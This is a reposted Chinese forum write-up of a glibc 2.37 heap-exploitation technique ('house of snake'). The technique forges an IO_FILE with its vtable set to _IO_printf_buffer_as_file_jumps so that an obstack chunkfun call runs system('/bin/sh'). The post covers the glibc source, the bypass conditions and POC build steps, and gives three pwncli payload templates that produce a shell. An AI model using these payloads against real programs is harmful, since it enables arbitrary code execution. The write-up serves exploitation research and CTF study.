[原创]一条新的glibc IO_FILE利用链：_IO_printf_buffer_as_file_jumps利用分析
2023-3-14 23:27:34 Author: bbs.pediy.com(查看原文) 阅读量:14 收藏

前言

之前听说glibc2.37删除了_IO_obstack_jumps这个vtable。但是在源码里还看到obstack结构体存在，那么glibc2.37真的不能再调用_IO_obstack_jumps的那条链吗？看完本文就知道还可以调用_IO_obstack_jumps那条链的关键部分。但目前这条链只存在glibc2.37，所以现在可能还没有利用场景。在此结合源码和自己的理解和大家分享一下，也感谢roderick师傅和whiter师傅的指导与支持。如果有哪里不对恳请师傅们斧正！

简介

在此，我称这条链为house of snake，此利用链与house of apple、house of cat、house of emma等利用一样，利用了修改虚表指针的方法。主要思路就是伪造相关结构体并且修改虚表指针为_IO_printf_buffer_as_file_jumps实现攻击。

利用条件

1.能修改stdout、stdin、stderr其中一个_IO_FILE_plus结构(fastbin attack或tcachebin attack)或劫持 _IO_list_all。(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache)

2.能够触发IO流，执行IO相关函数。

3.能够泄露堆地址和libc基址。

利用原理

前置知识

vtable 劫持的检测措施

在 2.24 版本的 glibc 以后，加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施，glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中，如果满足条件就正常执行，否则会调用_IO_vtable_check 做进一步检查。

简单来说，如果 vtable 地址是非法的，那么会引发 abort。

_IO_FILE结构体

源码如下：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

struct _IO_FILE {

      int _flags;

    char* _IO_read_ptr;   /* Current read pointer */

    char* _IO_read_end;   /* End of get area. */

    char* _IO_read_base;  /* Start of putback+get area. */

    char* _IO_write_base; /* Start of put area. */

    char* _IO_write_ptr;  /* Current put pointer. */

    char* _IO_write_end;  /* End of put area. */

    char* _IO_buf_base;   /* Start of reserve area. */

    char* _IO_buf_end;    /* End of reserve area. */

    /* The following fields are used to support backing up and undo. */

    char *_IO_save_base; /* Pointer to start of non-current get area. */

    char *_IO_backup_base;  /* Pointer to first valid character of backup area */

    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;

    int _blksize;

    int _flags2;

    _IO_off_t _old_offset;    /* This used to be _offset but it's too small.  */

    unsigned short _cur_column;

    signed char _vtable_offset;

    char _shortbuf[1];

    /*  char* _save_gptr;  char* _save_egptr; */

    _IO_lock_t *_lock;

};

该结构体应该不难理解，不过多赘述。

_IO_jump_t结构体

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

struct _IO_jump_t

{

    JUMP_FIELD(size_t, __dummy);

    JUMP_FIELD(size_t, __dummy2);

    JUMP_FIELD(_IO_finish_t, __finish);

    JUMP_FIELD(_IO_overflow_t, __overflow);

    JUMP_FIELD(_IO_underflow_t, __underflow);

    JUMP_FIELD(_IO_underflow_t, __uflow);

    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);

    /* showmany */

    JUMP_FIELD(_IO_xsputn_t, __xsputn);

    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);

    JUMP_FIELD(_IO_seekoff_t, __seekoff);

    JUMP_FIELD(_IO_seekpos_t, __seekpos);

    JUMP_FIELD(_IO_setbuf_t, __setbuf);

    JUMP_FIELD(_IO_sync_t, __sync);

    JUMP_FIELD(_IO_doallocate_t, __doallocate);

    JUMP_FIELD(_IO_read_t, __read);

    JUMP_FIELD(_IO_write_t, __write);

    JUMP_FIELD(_IO_seek_t, __seek);

    JUMP_FIELD(_IO_close_t, __close);

    JUMP_FIELD(_IO_stat_t, __stat);

    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);

    JUMP_FIELD(_IO_imbue_t, __imbue);

    get_column;

    set_column;

};

当我们对一个文件对象fp进行操作时，往往会使用到_IO_jump_t结构体内某一函数。

_IO_FILE_plus结构体

源码如下：

1

2

3

4

5

struct _IO_FILE_plus

{

  _IO_FILE file;

  const struct _IO_jump_t *vtable;

};

也就是在_IO_FILE追加了个指向_IO_jump_t结构体的指针。

__printf_buffer结构体

1

2

3

4

5

6

7

8

struct __printf_buffer

{

  char *write_base;

  char *write_ptr;

  char *write_end;

  uint64_t written;

  enum __printf_buffer_mode mode;

};

了解存在这个结构体即可。

__printf_buffer_as_file结构体

1

2

3

4

5

6

7

8

9

struct __printf_buffer_as_file

{

  /* Interface to libio.  */

  FILE stream;

  const struct _IO_jump_t *vtable;

  /* Pointer to the underlying buffer.  */

  struct __printf_buffer *next;

};

其中FILE就是_IO_FILE_plus，就是在_IO_FILE_plus结构体后追加了个指向__printf_buffer结构体的指针。这个结构体是关键结构体之一，因为本文提及的调用链离不开这个结构体。

简单总结一下，就是一个常见的_IO_FILE_plus后面追加了一个结构体指针，我们只要认识到这一点就行了。

obstack结构体

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

struct obstack          /* control current object in current chunk */

{

  long chunk_size;              /* preferred size to allocate chunks in */

  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

  char *object_base;            /* address of object we are building */

  char *next_free;              /* where to add next char to current object */

  char *chunk_limit;            /* address of char after current chunk */

  union

  {

    PTR_INT_TYPE tempint;

    void *tempptr;

  } temp;                       /* Temporary for some macros.  */

  int alignment_mask;           /* Mask of alignment for each object. */

  struct _obstack_chunk *(*chunkfun) (void *, long);

  void (*freefun) (void *, struct _obstack_chunk *);

  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

  unsigned maybe_empty_object : 1; /* There is a possibility that the current

  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed

                     handler on error, but retained for binary

                     compatibility.  */

};

在此，我们只需要知道有这个结构体即可，不需要过多的探究每个成员的意义。

__printf_buffer_obstack结构体

1

2

3

4

5

6

7

struct __printf_buffer_obstack

{

  struct __printf_buffer base;

  struct obstack *obstack;

  char ch;

};

就是在__printf_buffer结构体后追加了一个obstack结构体指针和一个char类型的变量，这个结构体也是关键结构体之一。

调用链分析

_IO_printf_buffer_as_file_jumps

由上可知，vtable必须合法，在glibc2.37中有一个新的vtable，源码如下：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =

{

  JUMP_INIT_DUMMY,

  JUMP_INIT(finish, NULL),

  JUMP_INIT(overflow, __printf_buffer_as_file_overflow),//函数一

  JUMP_INIT(underflow, NULL),

  JUMP_INIT(uflow, NULL),

  JUMP_INIT(pbackfail, NULL),

  JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),//函数二

  JUMP_INIT(xsgetn, NULL),

  JUMP_INIT(seekoff, NULL),

  JUMP_INIT(seekpos, NULL),

  JUMP_INIT(setbuf, NULL),

  JUMP_INIT(sync, NULL),

  JUMP_INIT(doallocate, NULL),

  JUMP_INIT(read, NULL),

  JUMP_INIT(write, NULL),

  JUMP_INIT(seek, NULL),

  JUMP_INIT(close, NULL),

  JUMP_INIT(stat, NULL),

  JUMP_INIT(showmanyc, NULL),

  JUMP_INIT(imbue, NULL)

};

可知，该vtable内只存在两个函数，分别为__printf_buffer_as_file_overflow，__printf_buffer_as_file_xsputn

接下来我们先对__printf_buffer_as_file_overflow进行分析。

前言

笔者对该利用链分析只关注调用过程，要绕过的条件先按下不表，最后再总结！

__printf_buffer_as_file_overflow函数

源码如下：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

static int

__printf_buffer_as_file_overflow (FILE *fp, int ch)

{

  struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;

  __printf_buffer_as_file_commit (file);

  /* EOF means only a flush is requested.   */

  if (ch != EOF)

    __printf_buffer_putc (file->next, ch);

  /* Ensure that flushing actually produces room.  */

  if (!__printf_buffer_has_failed (file->next)

      && file->next->write_ptr == file->next->write_end)

    __printf_buffer_flush (file->next);

    [...]

}

该函数首先堆传入的第一个参数强制类型转换为__printf_buffer_as_file并赋给变量file，然后调用__printf_buffer_as_file_commit函数，

__printf_buffer_as_file_commit函数

该函数源码如下：

1

2

3

4

5

6

7

8

9

10

11

12

static void

__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file)

{

  /* Check that the write pointers in the file stream are consistent

     with the next buffer.  */

  assert (file->stream._IO_write_ptr >= file->next->write_ptr);

  assert (file->stream._IO_write_ptr <= file->next->write_end);

  assert (file->stream._IO_write_base == file->next->write_base);

  assert (file->stream._IO_write_end == file->next->write_end);

  file->next->write_ptr = file->stream._IO_write_ptr;

}

可以看出该函数通过断言对file结构体中的stream结构体与next结构体中的成员进行一系列判断，然后做一个赋值的操作。

__printf_buffer_putc函数

可以看到若ch != EOF就调用__printf_buffer_putc，源码如下：

1

2

3

4

5

6

7

8

static inline void

__printf_buffer_putc (struct __printf_buffer *buf, char ch)

{

  if (buf->write_ptr != buf->write_end)

      *buf->write_ptr++ = ch;

  else

    __printf_buffer_putc_1 (buf, ch);

}

可知__printf_buffer_putc只是做了一些指针记录的数值加减的操作，对此我们不用过多关注。

然后有判断：if (!__printf_buffer_has_failed (file->next) && file->next->write_ptr == file->next->write_end)

就是判断__printf_buffer_as_file结构体中的mode成员是不是__printf_buffer_mode_failed以及file->next->write_ptr == file->next->write_end，我们假设满足这两个条件，会调用__printf_buffer_flush (file->next)

__printf_buffer_flush 函数

这个函数笔者无法直接在源码中找到，但是配合gdb，笔者还是发现了它的蛛丝马迹。
图片描述

它其实就是__printf_buffer_do_flush，源码如下：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

static void

__printf_buffer_do_flush (struct __printf_buffer *buf)

{

  switch (buf->mode)

    {

    case __printf_buffer_mode_failed:

    case __printf_buffer_mode_sprintf:

      return;

    case __printf_buffer_mode_snprintf:

      __printf_buffer_flush_snprintf ((struct __printf_buffer_snprintf *) buf);

      return;

    ......

    case __printf_buffer_mode_fphex_to_wide:

      __printf_buffer_flush_fphex_to_wide

        ((struct __printf_buffer_fphex_to_wide *) buf);

      return;

    case __printf_buffer_mode_obstack:

      __printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);

      return;

    }

  __builtin_trap ();

}

在这里我们关注进入__printf_buffer_flush_obstack函数的这一分支

__printf_buffer_flush_obstack函数

1

2

3

4

5

6

7

8

9

10

11

12

13

14

void

__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf)

{

  /* About to switch buffers, so record the bytes written so far.  */

  buf->base.written += buf->base.write_ptr - buf->base.write_base;

  if (buf->base.write_ptr == &buf->ch + 1)

    {

      /* Errors are reported via a callback mechanism (presumably for

     process termination).  */

      obstack_1grow (buf->obstack, buf->ch);

      [...]

    }

}

假设满足所有条件进入obstack_1grow宏定义。

obstack_1grow宏定义

1

2

3

4

5

6

7

  __extension__                                      \

    ({ struct obstack *__o = (OBSTACK);                          \

       if (__o->next_free + 1 > __o->chunk_limit)                  \

     _obstack_newchunk (__o, 1);                          \

       obstack_1grow_fast (__o, datum);                          \

       (void) 0; })

可以看到里面还有个宏定义，然后又_obstack_newchunk这一个函数。

_obstack_newchunk函数

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

void

_obstack_newchunk (struct obstack *h, int length)

{

  struct _obstack_chunk *old_chunk = h->chunk;

  struct _obstack_chunk *new_chunk;

  long new_size;

  long obj_size = h->next_free - h->object_base;

  long i;

  long already;

  char *object_base;

  /* Compute size for new chunk.  */

  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;

  if (new_size < h->chunk_size)

    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */

  new_chunk = CALL_CHUNKFUN (h, new_size);

  [...]

假设满足所有条件，进入CALL_CHUNKFUN这个宏定义，该宏定义的源码如下：

1

2

3

4

  (((h)->use_extra_arg)                                  \

   ? (*(h)->chunkfun)((h)->extra_arg, (size))                      \

   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到当(((h)->use_extra_arg)不为0时，会调用(*(h)->chunkfun)，它的参数是(h)->extra_arg和(size)，而我们可以控制(*(h)->chunkfun)与(h)->extra_arg，从而执行system('/bin/sh')。

如果各位跟着本文分析到这，估计就豁然开朗了，因为后半部分与_IO_obstack_xsputn的调用链一样。

完成调用链必要的绕过条件

回顾一下整个分析过程并将所有相关结构体，并都看成__printf_buffer_as_file结构体，有以下条件：

  • 在__printf_buffer_as_file_overflow函数中：

    • file->next->mode!=__printf_buffer_mode_failed && file->next->write_ptr == file->next->write_end

  • 在__printf_buffer_as_file_commit函数中：

    • file->stream._IO_write_ptr >= file->next->write_ptr
    • file->stream._IO_write_ptr <= file->next->write_end
    • file->stream._IO_write_base == file->next->write_base
    • file->stream._IO_write_end == file->next->write_end

  • 在__printf_buffer_flush函数中：

  • file->next->mode =__printf_buffer_mode_obstack

  • 在__printf_buffer_flush_obstack函数中：

  • buf->base.write_ptr == &buf->ch + 1 <==> file->next.write_ptr == &(file->next) + 0x30 + 1

  • 在obstack_1grow宏定义中：

    • (struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit
    • (h)->use_extra_arg不为0 <==> (struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0
  • 注：
    • __printf_buffer_mode_obstack 就是0xb

利用思路

本文分析基于amd64下通过FSOP触发。

我们知道FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项，但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是exit函数调用_IO_flush_all_lockp，这个函数会刷新_IO_list_all 链表中所有项的文件流，相当于对每个 FILE 调用 fflush，也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

我们调试可以知道_IO_overflow位于vtable指针所指向地址+0x18处，也就是说当FSOP发生的时候会调用_IO_FILE_plus.vtable 中的_IO_overflow。即调用vtable指针所指向地址 + 0x18处的数据。
图片描述

那么只要我们伪造一个_IO_FILE结构体，将它的vtable替换为&_IO_printf_buffer_as_file_jumps，此时vtable指针所指地址+0x18处为__printf_buffer_as_file_overflow，然后伪造上述所有需要满足的条件（详见poc与攻击模板），就可以完成攻击，如下：
图片描述

POC

  • 下载glibc2.37源码：

    1

    wget https://mirrors.nju.edu.cn/gnu/libc/glibc-2.37.tar.gz

  • 解压：

    1

    tar -zxvf glibc-2.37.tar.gz

  • 编译：

    1

    2

    3

    4

    5

    mkdir build

    cd build

    ../configure --prefix=你想放置可执行文件的绝对路径

    sudo make

    sudo make install

  • 准备好POC

    可以点击这里下载文件（本来是直接展示源码的...但是放到看雪里排版就错位了...）

  • 编译POC

  • patchelf

    1

    2

    patchelf --set-rpath 你存放编译后的文件路径/bin/lib ./POC

    patchelf --set-interpreter  你存放编译后的文件路径/bin/lib/ld-linux-x86-64.so.2 ./POC

  • 运行
    图片描述

攻击模板

以下攻击模板全是在FSOP下的，可以点击这里下载附件尝试以下三种攻击。

分别伪造__printf_buffer与obstack结构体

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

from pwncli import *

fp = IO_FILE_plus_struct()

fp.vtable = 0x1ced60 + lb

fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1   

fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1   

fp._IO_write_base = 0x0                        

pd = flat(

    {

    0x0:bytes(fp),

    0xe0:leak_heap+0xe8,

    0xe8:[

    0, 

    0, 

    leak_heap+0xe8 + 0x30 + 1,  

    leak_heap+0x110,  

    p32(11), 

    ],

    0x110:leak_heap+0x110,

    0x110+0x18:[

    '/bin/sh\x00',

    0

    ],

    0x110+0x38:libc.sym.system,

    0x110+0x48:leak_heap+0x110+0x18,

    0x110+0x50:[0xff]

    }

)

obstack结构体与FILE结构体内存复用

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

from pwncli import *

fp = IO_FILE_plus_struct()

fp.vtable = 0x1ced60 + lb

fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1   

fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1   

fp._IO_write_base = 0x0                        

fp._IO_read_base = 0x68732f6e69622f            

fp._IO_backup_base = 0xff                      

fp._IO_buf_base = libc.sym.system              

fp._IO_save_base = leak_heap+0x18              

pd = flat(

    {

    0x0:bytes(fp),

    0xe0:leak_heap+0xe8,

    0xe8:[

    0, 

    0, 

    leak_heap+0xe8 + 0x30 + 1,  

    leak_heap+0x110,  

    p32(11), 

    ],

    0x110:leak_heap,

    }

)

__printf_buffer结构、obstack结构体与FILE结构体内存复用

这个payload需要的内存是最小的，只需要0xe0字节大小的内存。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

from pwncli import *

fp = IO_FILE_plus_struct()

fp.vtable = 0x1ced60 + lb

fp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1   

fp._IO_write_end = fake_printf_buffer + 0x30 + 1   

fp._IO_write_base = 0x0                        

fp._IO_backup_base = 0xff                      

fp._IO_buf_base = libc.sym.system              

fp._IO_save_base = fake_fp + 0xa0            

fp._wide_data = 0x68732f6e69622f               

fp = payload_replace(bytes(fp),{

    0x58:0,

    0x60:0,

    0x68:fake_printf_buffer + 0x30 + 1,

    0x70:0,

    0x78:11,

    0x80:fake_fp

})

pd = flat(

    {

    0x0:bytes(fp),

    0xe0:fake_printf_buffer,

    }

)

总结

该利用链看起来需要绕过的条件很多，但是并不复杂，并且可以稳定控制rdi与rip。但是ubuntu还没有使用glibc2.37，所以目前这条链新的还没有利用场景2333。但我相信以后说不定会有它的利用场景。

附录

1

2

3

4

5

6

7

8

struct __printf_buffer

{

  char *write_base;     0x0-0x8

  char *write_ptr;        0x8-0x10

  char *write_end;        0x10-0x18

  uint64_t written;        0x18-0x20

  enum __printf_buffer_mode mode; 0x20-0x24

};

1

2

3

4

5

6

7

struct __printf_buffer_obstack

{

  struct __printf_buffer base;    0x0-0x24

  struct obstack *obstack;        0x28-0x30

  char ch;    0x30-0x31

};

零基础网络安全攻防-研修见习班

最后于 2天前 被7resp4ss编辑 ，原因：


文章来源: https://bbs.pediy.com/thread-276471.htm
如有侵权请联系:admin#unsafe.sh